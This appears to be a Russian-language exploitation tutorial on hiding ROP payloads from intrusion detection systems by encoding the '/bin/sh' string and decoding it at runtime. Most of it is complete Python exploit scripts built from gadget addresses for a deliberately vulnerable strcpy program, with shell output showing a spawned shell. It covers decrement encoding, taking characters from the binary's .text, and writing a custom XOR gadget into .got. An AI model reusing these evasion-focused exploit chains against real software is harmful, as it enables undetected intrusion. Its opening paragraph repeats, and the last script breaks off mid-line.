Полиморфизм используется в шелл-коде, чтобы скрыть атаки на сеть. Факт в том, что сегодня IDS (Intrusion Detection System или Системы Обнаружения Вторжений) распознают большинство конструкций шелл-кодов (пример: push /bin/sh, и т. д.). Но полиморфизм может обходить такое обнаружение.
Полиморфизм используется в шелл-коде, чтобы скрыть атаки на сеть. Факт в том, что сегодня IDS (Intrusion Detection System или Системы Обнаружения Вторжений) распознают большинство конструкций шелл-кодов (пример: push /bin/sh, и т. д.). Но полиморфизм может обходить такое обнаружение.
В случае ROP (Return Oriented Programming или Возвратно-Ориентированного Программирования) каждая боевая нагрузка индивидуальна, и поэтому мы можем считать, что гаджеты1 не будут обнаружены IDS.
Тем не менее, во многих случаях при эксплуатации ROP мы записывем в секцию цепочку команд, которая используется при вызове execve. Например, в секцию .data мы записываем "/bin/sh".
При наличии IDS послать на выполнение такую цепочку будет трудно, поэтому мы зашифруем строку, а потом расшифруем ее.
Возьмем для примера уязвимый код, представленный ниже. Этот код компилируется с флагом –static для большого списка гаджетов. Конечно, данный код не имеет отношения к сетевым IDS, он приведен лишь чтобы продемонстрировать принципы обхода IDS с помощью ROP.
#include int main(int ac, char **av) { char buff[32]; strcpy(buff, av[1]); }
Запуск ROPgadget (http://shell-storm.org/project/ROPgadget/) позволяет нам легко получить подходящую нагрузку.
# execve /bin/sh generated by RopGadget v3.1 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0) # @ .data p += pack("<I", 0x080a5566) # pop %eax | ret p += "/bin" p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e4) # @ .data + 4 p += pack("<I", 0x080a5566) # pop %eax | ret p += "//sh" p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e8) # @ .data + 8 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08048144) # pop %ebx | ret p += pack("<I", 0x080ce3e0) # @ .data p += pack("<I", 0x080bc924) # pop %ecx | ret p += pack("<I", 0x080ce3e8) # @ .data + 8 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e8) # @ .data + 8 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x080491f9) # int $0x80
Здесь мы записываем строку "/bin/sh" напрямую в данные с помощью следующих гаджетов:
p += pack("<I", 0x080a5566) # pop %eax | ret p += "/bin" p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret [...] p += pack("<I", 0x080a5566) # pop %eax | ret p += "//sh" p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
Мы зашифруем эту строку, а позже расшифруем ее. Для шифрования мы уменьшим на единицу значение каждого символа строки. Итак, у нас получится строка следующего содержания: '.ahm..rg'.
Опять же, с помощью ROPgadget я нашел следующие гаджеты, которые помогут мне расшифровать нашу цепочку.
0x08050eaa pop %edx ; помещаем адрес нашей строки в %edx ret 0x080c34a9 mov (%edx),%ecx ; помещаем первый символ нашей строки в %ecx ret 0x080c9338 inc %ecx ; инкрементируем этот символ ret 0x08058770 mov %ecx,%eax ; помещаем его в %eax pop %ebx pop %esi pop %edi pop %ebp ret 0x08079e0d mov %eax,(%edx) ; помещаем расшифрованный символ на место зашифрованного ret
Данная операция повторяется для каждого символа цепочки. В итоге мы получим нашу строку в ее первоначальном виде: "/bin/sh". В целом код выглядит так:
jonathan@ArchLinux [rop-ids] $ cat test-ids.py #!/usr/bin/env python2 from struct import pack p = "a"*32 p += "bbbb" # push data encrypted p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0) # @ .data p += pack("<I", 0x080a5566) # pop %eax | ret p += ".ahm" # '/bin' chiffré p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e4) # @ .data + 4 p += pack("<I", 0x080a5566) # pop %eax | ret p += "..rg" # '//sh' chiffré p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e8) # @ .data + 8 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt data pour '.ahm..rg' => '/bin/sh' # decrypt '/' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080c9338) # inc %ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 'b' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+1) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080c9338) # inc %ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 'i' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+2) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080c9338) # inc %ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 'n' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+3) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080c9338) # inc %ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt '/' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+4) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080c9338) # inc %ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt '/' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+5) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080c9338) # inc %ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 's' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+6) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080c9338) # inc %ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 'h' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+7) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080c9338) # inc %ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # set registers for execve p += pack("<I", 0x08048144) # pop %ebx | ret p += pack("<I", 0x080ce3e0) # @ .data p += pack("<I", 0x080bc924) # pop %ecx | ret p += pack("<I", 0x080ce3e8) # @ .data + 8 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e8) # @ .data + 8 # set eax for execve syscall p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x080491f9) # int $0x80 print p jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids.py)" sh-4.2$
Как вы можете догадаться, вы вольны выбирать тот тип шифрования, который захотите... Например, вы можете заносить в стек одинаковые символы, а затем изменять их до получения строки "/bin/sh".
В этом случае у вас получится что-то вроде этого:
p += "...." # '/bin' encrypted p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e4) # @ .data + 4 p += pack("<I", 0x080a5566) # pop %eax | ret p += "...." # '//sh' encrypted
Мы можем пойти еще дальше, не посылая цепочек вообще. Вместо этого мы возьмем символы прямо из двоичного файла. Сначала с помощью gdb найдем требуемые символы в секции .text.
(gdb$) find 0x8048150,0x80a807c, '/' (gdb$) find 0x8048150,0x80a807c, 'b' (gdb$) find 0x8048150,0x80a807c, 'i' (gdb$) find 0x8048150,0x80a807c, 'n' (gdb$) find 0x8048150,0x80a807c, '/' (gdb$) find 0x8048150,0x80a807c, 's' (gdb$) find 0x8048150,0x80a807c, 'h'
Мы получили следующие адреса:
/ : 0x804f676 b : 0x8051ce5 i : 0x804dd26 n : 0x804f124 / : 0x804f676 s : 0x805a241 h : 0x8051e14
С помощью гаджетов из предыдущей главы мы сделаем здесь то же самое, изменив лишь порядок выполнения.
0x08050eaa pop %edx ; помещаем в стек адрес нужного символа ret 0x080c34a9 mov (%edx),%ecx ; помещаем символ в %ecx ret 0x08058770 mov %ecx,%eax ; перемещаем символ в eax pop %ebx pop %esi pop %edi pop %ebp ret 0x08050eaa pop %edx ; помещаем в edx адрес нашего «стека» (места где вы хотите записать строку) ret 0x08079e0d mov %eax,(%edx) ; помещаем символ в наш «стек» ret
Эта процедура повторяется для всех символов. Отсюда видно, что можно найти любой байт внутри двоичного файла и записать его в произвольное место памяти. В итоге имеем следующий код:
jonathan@ArchLinux [rop-ids] $ cat test-ids2.py #!/usr/bin/env python2 from struct import pack p = "a"*32 p += "bbbb" # push /bin/sh in .data # get '/' in .text p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x0804f676) # '/' in .text p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0) # @.data p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # get 'b' in .text p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x08051ce5) # 'b' in .text p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+1) # @.data p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # get 'i' in .text p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x0804dd26) # 'i' in .text p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+2) # @.data p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # get 'n' in .text p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x0804f124) # 'n' in .text p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+3) # @.data p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # get '/' in .text p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x0804f676) # '/' in .text p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+4) # @.data p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # get 's' in .text p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x0805a241) # 's' in .text p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+5) # @.data p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # get 'h' in .text p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x08051e14) # 'h' in .text p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+6) # @.data p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # set NULL bytes # .data => /bin/sh\0\0\0\0 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+7) # @ .data + 7 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+8) # @ .data + 8 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+9) # @ .data + 9 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+10) # @ .data + 10 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # set registers for execve p += pack("<I", 0x08048144) # pop %ebx | ret p += pack("<I", 0x080ce3e0) # @ .data p += pack("<I", 0x080bc924) # pop %ecx | ret p += pack("<I", 0x080ce3e7) # @ .data + 8 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e7) # @ .data + 8 # set eax for execve syscall p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x08069f78) # inc %eax | ret p += pack("<I", 0x080491f9) # int $0x80 print p jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids2.py)" sh-4.2$
Возвращаясь к вышеописанному методу, заметим, что мы можем создавать наши собственные гаджеты. Для этого нам понадобится секция с правами rwx. Секция .got полностью удовлетворяет этому требованию (если NX отключен).
Мы можем получать байты в двоичном файле, а затем помещать их в секцию .got, что в итоге и будет служить гаджетом. Я возьму начинку из первого раздела, за исключением того, что мы будем использовать XOR для расшифрования цепочки. Чтобы сделать это, нам понадобится гаджет, которого нет в двоичном файле, поэтому мы создадим его сами.
Прежде всего, мы найдем адрес секции .got и значение инструкции "xor $ 0x77,%ecx, ret".
jonathan@ArchLinux [rop-ids] $ size -Ax ./main | grep got .got 0x8 0x80ce3c8 jonathan@ArchLinux [rop-ids] $ objdump -d ./test test: file format elf32-i386 Disassembly of section .text: 08048054 <.text>: 8048054: 83 f1 77 xor $0x77,%ecx 8048057: c3 ret
Далее найдем байты, соответствующие инструкции "xor $ 0x77,% ecx, ret", в секции .text с помощью gdb:
(gdb$) find 0x8048150,0x80a807c, '\x83' result ==> 0x08048d28 (gdb$) find 0x8048150,0x80a807c, '\xf1' result ==> 0x0804fc47 (gdb$) find 0x8048150,0x80a807c, '\x77' result ==> 0x0804db48 (gdb$) find 0x8048150,0x80a807c, '\xc3' result ==> 0x0804a5dc
Итак, у нас есть ряд гаджетов, который позволит нам создать свой собственный гаджет:
0x08050eaa pop %edx ; помещаем в edx адрес байта со значением 0x83 ret 0x080c34a9 mov (%edx),%ecx ; байт помещается в %ecx ret 0x08058770 mov %ecx,%eax ; байт помещается в %ecx pop %ebx pop %esi pop %edi pop %ebp ret 0x08050eaa pop %edx ; помещаем адрес секции .got в %edx ret 0x08079e0d mov %eax,(%edx) ; байт помещается в секцию .got ret
Повторив эти действия для каждого байта, мы получим наш гаджет в секции .got. После создания последнего гаджета у нас есть следующая последовательность гаджетов:
0x08050eaa pop %edx ; помещаем адрес нашей строки в %edx ret 0x080c34a9 mov (%edx),%ecx ; помещаем первый символ строки в %ecx ret @.got xor $0x77,%ecx ; наш гаджет из секции .got ret 0x08058770 mov %ecx,%eax ; наш символ помещен в %eax pop %ebx pop %esi pop %edi pop %ebp ret 0x08079e0d mov %eax,(%edx) ; помещаем расшифрованный символ на место зашифрованного ret
Итак, мы получили эксплоит следующего содержания:
jonathan@ArchLinux [rop-ids] $ cat test-ids3.py #!/usr/bin/env python2 from struct import pack p = "a"*32 p += "bbbb" # push data encrypted p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0) # @ .data p += pack("<I", 0x080a5566) # pop %eax | ret p += "\x58\x15\x1e\x19" # '/bin' crypted p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e4) # @ .data + 4 p += pack("<I", 0x080a5566) # pop %eax | ret p += "\x58\x58\x04\x1f" # '//sh' crypted p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e8) # @ .data + 8 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # creation of gadget in .got section # byte 0x83 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x08048d28) # @ 0x83 byte p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3c8) # @.got p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # byte 0xf1 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x0804fc47) # @ 0xf1 byte p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3c8+1) # @.got p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # byte 0x77 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x0804db48) # @ 0x77 byte p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3c8+2) # @.got p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # byte 0xc3 p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x0804a5dc) # @ 0xc3 byte p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3c8+3) # @.got p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # now "xor $0x77,%ecx ; ret" is in 0x080ce3c8 # data decrypted for '\x58\x15\x1e\x19\x58\x58\x04\x1f' => '/bin/sh' # decrypt '/' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 'b' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+1) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 'i' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+2) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 'n' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+3) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt '/' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+4) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt '/' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+5) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 's' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+6) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # decrypt 'h' p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+7) # @ .data p += pack("<I", 0x080c34a9) # mov (%edx),%ecx | ret p += pack("<I", 0x080ce3c8) # xor $0x77,%ecx | ret p += pack("<I", 0x08058770) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x41424344) # padding p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # set NULL bytes p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+8) # @ .data + 7 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+9) # @ .data + 8 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+10) # @ .data + 9 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret p += pack("<I", 0x08050eaa) # pop %edx | ret p += pack("<I", 0x080ce3e0+11) # @ .data + 10 p += pack("<I", 0x080577b0) # xor %eax,%eax | ret p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret # set register 